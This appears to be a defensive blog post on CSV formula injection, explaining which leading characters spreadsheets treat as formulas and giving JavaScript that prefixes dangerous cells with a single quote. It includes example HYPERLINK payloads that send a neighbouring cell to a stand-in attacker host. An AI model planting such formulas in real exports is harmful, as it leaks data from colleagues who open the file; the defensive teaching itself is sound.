Your CSV export runs formulas: sanitize =, +, -, and @
published
TL;DR
CSV has no types. When a spreadsheet opens one, a cell whose value starts with =, +, -, @, tab (0x09), or carriage return (0x0D) is treated as a formula. If any field in your export came from user input, the person who opens that file — usually a colleague, on a trusted machine — runs whatever the user typed. Fix it on write by prefixing dangerous cells with a single quote ('), the way Symfony’s CsvEncoder does after CVE-2021-41270. The older advice — prefix with a tab — is itself unsafe.
The problem
Someone signs up with a display name:
=HYPERLINK("https://attacker.example/?d="&A1,"Payroll Q3")
Nothing renders it as HTML, so your XSS filters have no opinion about it. It sits in the database as a string. Weeks later, support exports the user table and opens users.csv in Excel. That cell is now a live formula: a clickable link labelled “Payroll Q3”, whose target carries the contents of cell A1 — a neighbouring column from your own export.
OWASP lists three impacts for this class of bug:
Hijacking the user’s computer by exploiting vulnerabilities in the spreadsheet software, such as CVE-2014-3524. Hijacking the user’s computer by exploiting the user’s tendency to ignore security warnings in spreadsheets that they downloaded from their own website. Exfiltrating contents from the spreadsheet, or other open spreadsheets.
The second one is the interesting one. The file came from your own admin panel, so the person opening it has already decided it is trustworthy — before any content in it was reviewed.
Why it happens
CSV, as described by RFC 4180, is rows of quoted-or-unquoted fields. There is no type system, no cell metadata, no “this is text” marker. The reader decides what a field means, and every major spreadsheet decides the same way: leading character wins.
| Leading character | Read as | Example payload |
|---|---|---|
= | formula | =HYPERLINK("https://evil.example/?d="&A1,"Invoice") |
+ | formula | +1+1 evaluates to 2 |
- | formula | -1+1 evaluates to 0, so - fields silently mutate |
@ | formula / function reference | @SUM(A1:A9) |
tab 0x09 | formula in some paths | leading tab is stripped, exposing the next character |
CR 0x0D | formula in some paths | same stripping behaviour |
OWASP’s list also includes the full-width Unicode variants =, +, -, @, so a naive startsWith('=') check does not cover the space.
The - row is worth pausing on even if you do not care about security: a legitimate value like -Pending in a status column is not a string in Excel, it is an expression, and what the analyst sees is not what your database holds.
What to do
Escape at the point where you serialize to CSV, not at the point where you accept input — the string is only dangerous in a spreadsheet, and stripping = from names on the way in breaks people whose data legitimately starts with it.
const DANGEROUS = ['=', '+', '-', '@', '\t', '\r', '=', '+', '-', '@'];
function sanitizeCell(value) {
const s = String(value ?? '');
return DANGEROUS.some((c) => s.startsWith(c)) ? `'${s}` : s;
}
function csvField(value) {
const s = sanitizeCell(value);
// RFC 4180: quote anything containing a comma, quote, CR or LF; double the quotes.
return /[",\r\n]/.test(s) ? `"${s.replace(/"/g, '""')}"` : s;
}
function toCsv(rows) {
return rows.map((row) => row.map(csvField).join(',')).join('\r\n');
}
console.log(toCsv([
['name', 'note'],
['=HYPERLINK("https://evil.example","x")', 'ok'],
['-Pending', 'has, comma'],
]));
Two details in that code carry the whole fix:
- The prefix is
', not a tab. Symfony shipped tab-prefixing as an opt-incsv_escape_formulasin 4.1, and had to change it: OWASP established that tab and carriage return are themselves formula triggers, so the escape character was in the same class as the thing being escaped. The fix in CVE-2021-41270 switched to a single quote and widened coverage to all six characters. - Sanitizing happens before quoting. An attacker can otherwise use the field separator and a quote to close your cell early and start a new one whose first character is
=— the payload’s position inside the cell is what matters, and that is only defined after you decide the field boundaries.
If the export is meant to be opened by humans in Excel, the better answer is to skip CSV. Write XLSX and set the cell type to string explicitly; the format has types, so nothing has to be inferred from a leading character.
Caveats
- The quote is real data.
'=SUM(A1)opened in Excel displays as=SUM(A1)and Excel treats the leading apostrophe as a text marker — but a programmatic reader (pandas, a Go CSV parser, your own import endpoint) sees the apostrophe as a character in the value. Sanitize the export intended for spreadsheets; do not sanitize the feed intended for machines. - Excel’s save-and-reopen loop breaks quoting-based mitigations. OWASP notes that Excel may drop quotes or escape characters when a CSV is saved and reopened, which is why “wrap it in double quotes” is not on the list of things that work.
- Import wizards differ from double-click. Opening a file via Data → From Text/CSV with columns marked as Text behaves differently from double-clicking the same file. You cannot rely on the recipient’s path through the UI.
- This is not a substitute for output encoding elsewhere. The same string that is inert in HTML because you escaped it is live in a spreadsheet. Each rendering target gets its own escaping; there is no one sanitized version of a string.
- No universal-safe CSV. OWASP is explicit that no single sanitization strategy is safe for every spreadsheet application and every downstream consumer. Pick the consumer you are writing for.